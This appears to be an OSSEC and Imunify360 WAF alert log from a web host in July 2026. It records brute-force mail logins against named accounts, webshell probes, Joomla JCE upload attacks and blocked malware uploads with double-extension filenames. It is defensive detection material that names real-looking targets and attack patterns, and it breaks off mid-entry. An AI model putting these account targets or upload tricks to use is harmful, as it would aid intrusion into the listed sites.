2026-07-13 20:07:01 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi (177-174-108-1.user.vivozap.com.br) [80.223.192.112]:53184: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-13 20:08:13 dovecot_login authenticator failed for H=([74.119.144.57]) [220.77.214.59]:47219: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-13 20:08:19 dovecot_login authenticator failed for H=([31.222.6.25]) [122.187.221.130]:56758: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.222.52.206
country_id: 1269750
description:
2026-07-13 20:11:45 dovecot_login authenticator failed for H=([61.174.28.202]) [117.222.52.206]:35624: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-13 20:11:49 dovecot_login authenticator failed for H=([46.163.174.216]) [197.219.210.86]:36818: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-13 20:12:11 dovecot_login authenticator failed for H=([60.12.106.119]) [128.185.197.42]:35658: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-13 20:12:51 dovecot_login authenticator failed for H=(189-108-96-183.customer.tdatabrasil.net.br) [173.91.46.151]:58025: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-13 20:12:21 dovecot_login authenticator failed for H=(60-250-63-7.hinet-ip.hinet.net) [183.104.220.152]:58492: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-13 20:14:20 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([183.223.156.154]) [85.29.246.199]:44641: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-07-13 20:14:25 dovecot_login authenticator failed for H=([24.249.199.9]) [182.76.107.16]:36258: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-13 20:14:48 dovecot_login authenticator failed for H=(host-93-177-157-179.customer.magticom.ge) [125.130.102.172]:49766: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-13 20:16:47 dovecot_login authenticator failed for H=([61.111.255.216]) [38.108.83.2]:14059: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-13 20:16:31 dovecot_login authenticator failed for H=([37.238.45.202]) [125.130.102.172]:56123: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 81.30.98.195
country_id: 130758
description:
2026-07-13 20:18:26 H=([81.30.98.195]) [81.30.98.195]:58960 F=<r.nishi@nexus1129.com> rejected RCPT <ijabilu@dapp-malawi.org>: SMTP AUTH is required for message submission on port 587


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.152.209.146
country_id: 2464461
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-13 20:20:53 dovecot_login authenticator failed for H=([45.82.110.150]) [49.206.201.253]:54774: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-13 20:25:08 dovecot_login authenticator failed for H=([98.181.137.75]) [117.211.15.93]:48168: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 182.0.207.130
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcef5jynvwq.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-13 20:24:47 dovecot_login authenticator failed for H=([103.130.207.227]) [65.20.161.126]:59174: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469918
abuser: 151.115.164.219
country_id: 3175395
domain: alnayza.com
name:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:723723.shtml||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 151.115.164.219
country_id: 3175395
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:723723.PhP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-13 20:31:18 dovecot_login authenticator failed for H=([182.95.176.122]) [24.187.213.29]:52062: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.236
country_id: 2186224
description:
2026-07-13 20:31:07 dovecot_login authenticator failed for H=([124.160.45.26]) [121.73.169.236]:41608: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-13 20:33:16 dovecot_login authenticator failed for H=([49.124.151.82]) [216.45.75.104]:46631: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.74.14
country_id: 1512440
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/products/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-13 20:33:22 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([83.239.84.130]) [174.168.146.152]:45323: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-13 20:33:36 dovecot_login authenticator failed for H=([70.166.167.33]) [121.148.184.47]:44699: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-13 20:33:45 dovecot_login authenticator failed for H=(mail.prdnorth.in.th) [122.169.40.221]:34462: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-13 20:34:53 dovecot_login authenticator failed for H=(118-211-165-46.tpgi.com.au) [39.118.24.100]:40852: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-13 20:35:04 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au (azteca-comunicaciones.com) [139.216.6.17]:48321: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-13 20:35:38 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net ([111.26.62.39]) [111.70.34.21]:44857: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-13 20:35:50 dovecot_login authenticator failed for H=([49.124.152.35]) [182.95.181.26]:48870: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.5.71
country_id: 6251999
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/cochinbigbandsho/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.5.71
country_id: 6251999
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/admin.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.151.5.71
country_id: 6251999
domain: cochinbigbandshow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/cochinbigbandsho/public_html/wp-includes||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.5.71
country_id: 6251999
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/cochinbigbandsho/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.5.71
country_id: 6251999
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/goods.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-13 20:40:33 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [182.78.65.154]:44726: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.84.240
country_id: 294640
description:
2026-07-13 20:41:14 dovecot_login authenticator failed for H=([223.107.72.234]) [2.55.84.240]:56088: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.18
country_id: 2186224
description:
2026-07-13 20:41:16 dovecot_login authenticator failed for H=([121.66.63.186]) [121.73.169.18]:59034: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-13 20:41:42 dovecot_login authenticator failed for H=([183.104.220.195]) [116.98.104.138]:51650: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-13 20:46:48 dovecot_login authenticator failed for H=([183.171.57.72]) [116.98.104.138]:58572: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-13 20:47:25 dovecot_login authenticator failed for H=([49.124.159.192]) [14.46.58.104]:54842: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-13 20:47:44 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net (47-206-63-169.e8235131806a02dcb1fe9c7a57eaaeb8.ip.frontiernet.net) [194.103.82.72]:52218: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-13 20:47:55 dovecot_login authenticator failed for H=([98.182.171.163]) [182.95.229.110]:49912: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-13 20:48:59 dovecot_login authenticator failed for H=(78-66-44-246-no2550.tbcn.telia.com) [78.187.230.168]:49212: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.19.112
country_id: 298795
description:
2026-07-13 20:49:28 dovecot_login authenticator failed for H=([184.181.178.35]) [188.59.19.112]:34685: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-13 20:50:04 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi (ipmapt-72-195-114-171.oc.oc.cox.net) [80.223.198.246]:60674: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-13 20:50:42 dovecot_login authenticator failed for H=(110-25-109-58.adsl.fetnet.net) [85.105.2.51]:32867: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-07-13 20:51:17 dovecot_login authenticator failed for H=([220.179.255.54]) [182.76.107.16]:52962: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.84.54
country_id: 1269750
description:
2026-07-13 20:52:15 dovecot_login authenticator failed for H=(187-50-27-129.customer.tdatabrasil.net.br) [27.123.84.54]:53360: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-13 20:51:33 dovecot_login authenticator failed for H=([185.46.49.49]) [122.187.221.130]:45450: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-13 20:52:50 dovecot_login authenticator failed for H=(h79-138-90-195.cust.bredband2.com) [121.73.169.149]:59444: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-13 20:53:39 dovecot_login authenticator failed for H=(59-120-179-121.hinet-ip.hinet.net) [36.39.140.2]:58028: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.186
country_id: 1733045
description:
2026-07-13 20:53:58 dovecot_login authenticator failed for H=(162.9.52.116.broad.km.yn.dynamic.163data.com.cn) [49.124.159.186]:51688: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-13 20:54:04 dovecot_login authenticator failed for H=([117.177.235.249]) [49.206.194.29]:42614: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-13 20:54:43 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([68.71.243.10]) [85.29.246.199]:57973: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-13 20:56:25 dovecot_login authenticator failed for H=([142.54.229.253]) [182.78.112.174]:37086: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.56.12.205
country_id: 1168579
description:
2026-07-13 20:56:38 dovecot_login authenticator failed for H=(7.248.146.34.bc.googleusercontent.com) [210.56.12.205]:41866: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 2.27.14.29
country_id: 2661886
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:114248||Sizes:1173||Combined size:1173||User:vrishenterprises||WPU:||Filename:786786.php.PhP||Scanned:/tmp//20260713-210117-alUExfJgWIWTx5JDxK4q8QAAAAw-file-D4Q7sP||SC:/home/vrishenterprises/sriganapathyent.in/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 2.27.14.29
country_id: 2661886
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/vrishenterprises/sriganapathyent.in/index.php||User:vrishenterprises||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.236.155
country_id: 1168579
description:
2026-07-13 21:01:03 dovecot_login authenticator failed for H=([36.135.62.94]) [119.152.236.155]:37259: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 2.27.14.29
country_id: 2661886
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:149615||Sizes:1173||Combined size:1173||User:vrishenterprises||WPU:||Filename:786786.phtm||Scanned:/tmp//20260713-210119-alUEx6_dWIWchIxI6EM8LQAAAEs-file-3OVPRM||SC:/home/vrishenterprises/sriganapathyent.in/component||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-13 21:01:21 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [119.92.76.210]:55436: 535 Incorrect authentication data


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 2.27.14.29
country_id: 2661886
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/vrishenterprises/sriganapathyent.in/component||User:vrishenterprises||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-13 21:01:45 dovecot_login authenticator failed for H=([125.143.225.75]) [196.189.59.226]:46955: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-13 21:01:58 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [218.248.19.102]:53220: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.143
country_id: 798544
description:
2026-07-13 21:02:01 dovecot_login authenticator failed for H=(186-103-136-43.static.tie.cl) [191.44.113.143]:46240: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-13 21:03:03 dovecot_login authenticator failed for H=([49.124.151.81]) [182.95.109.138]:52994: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 91.107.179.255
country_id: 2921044
domain: sriganapathyent.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:170186||Sizes:1173||Combined size:1173||User:vrishenterprises||WPU:||Filename:376376.PhP||Scanned:/tmp//20260713-210229-alUFDcuiSe5vojnd9m27gwAAAIY-file-Pi1Ckj||SC:/home/vrishenterprises/sriganapathyent.in/component||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-13 21:02:24 dovecot_login authenticator failed for H=([142.54.239.4]) [101.13.5.39]:53686: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-13 21:06:52 dovecot_login authenticator failed for H=([47.234.138.49]) [203.252.10.3]:23497: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 41.141.210.233
country_id: 2542007
domain: ibmcglobal.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:41.141.210.233||TA:41.141.210.233||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-13 21:06:38 dovecot_login authenticator failed for H=([190.12.109.162]) [218.248.19.102]:44978: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.162
country_id: 1733045
description:
2026-07-13 21:09:00 dovecot_login authenticator failed for H=([221.151.251.129]) [49.124.155.162]:40250: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-13 21:09:33 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net ([49.124.149.205]) [111.70.3.122]:55609: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-13 21:09:53 dovecot_login authenticator failed for H=([70.166.167.35]) [182.95.228.106]:52176: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-13 21:10:06 dovecot_login authenticator failed for H=([192.252.211.196]) [117.250.107.180]:38810: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-13 21:10:25 dovecot_login authenticator failed for H=([72.207.33.65]) [106.247.22.181]:48050: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-13 21:14:21 dovecot_login authenticator failed for H=([199.187.210.51]) [119.152.102.54]:43004: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-13 21:14:36 dovecot_login authenticator failed for H=([121.120.207.50]) [94.16.17.139]:54274: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-13 21:17:02 dovecot_login authenticator failed for H=(nsg-corporate-146.65.185.122.airtel.in) [182.95.187.86]:47092: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-13 21:17:25 dovecot_login authenticator failed for H=(110-25-109-58.adsl.fetnet.net) [85.105.2.51]:60829: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-13 21:17:44 dovecot_login authenticator failed for H=([175.200.217.128]) [98.157.226.42]:34873: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.99.195
country_id: 1269750
description:
2026-07-13 21:18:27 dovecot_login authenticator failed for H=([70.166.167.59]) [122.170.99.195]:46818: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-13 21:22:13 dovecot_login authenticator failed for H=([183.171.236.113]) [190.67.106.221]:36282: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-13 21:22:59 dovecot_login authenticator failed for H=(110-25-109-52.adsl.fetnet.net) [218.159.144.187]:57579: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-13 21:23:05 dovecot_login authenticator failed for H=([183.171.61.130]) [65.20.202.4]:54976: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-13 21:22:42 dovecot_login authenticator failed for H=([149.54.62.114]) [182.95.181.26]:55588: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-13 21:22:41 dovecot_login authenticator failed for H=([49.124.131.248]) [210.5.117.238]:63771: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.192
country_id: 1733045
description:
2026-07-13 21:24:17 dovecot_login authenticator failed for H=([174.64.199.85]) [49.124.159.192]:46706: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: www.metrodigitals.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-13 21:24:53 dovecot_login authenticator failed for H=([192.111.135.19]) [171.244.60.35]:60860: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-13 21:25:26 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([182.79.95.152]) [90.230.212.29]:34634: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-13 21:25:50 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [61.97.17.208]:52827: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: travelinbh.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-13 21:29:47 dovecot_login authenticator failed for H=([146.66.76.174]) [202.153.46.43]:50580: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-13 21:30:01 dovecot_login authenticator failed for H=([59.46.182.10]) [210.5.117.238]:62458: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 144.31.113.56
country_id: 798544
domain: vrishenterprises.in
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/vrishenterprises/public_html/index.php||User:vrishenterprises||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 144.31.113.56
country_id: 798544
domain: vrishenterprises.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:177388||Sizes:1173||Combined size:1173||User:vrishenterprises||WPU:||Filename:385385.phtml||Scanned:/tmp//20260713-213053-alULtazyczxOQ_iCN2pRCAAAAQI-file-s5j4CE||SC:/home/vrishenterprises/public_html/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.211.186
country_id: 3017382
domain: metrodigitals.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-metrodigitals.com||User:metrodigitals||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.194.92.14
country_id: 6252001
domain: azenv.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/azenv.net/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.5.124
country_id: 1269750
description:
2026-07-13 21:34:04 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [103.181.5.124]:54631: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
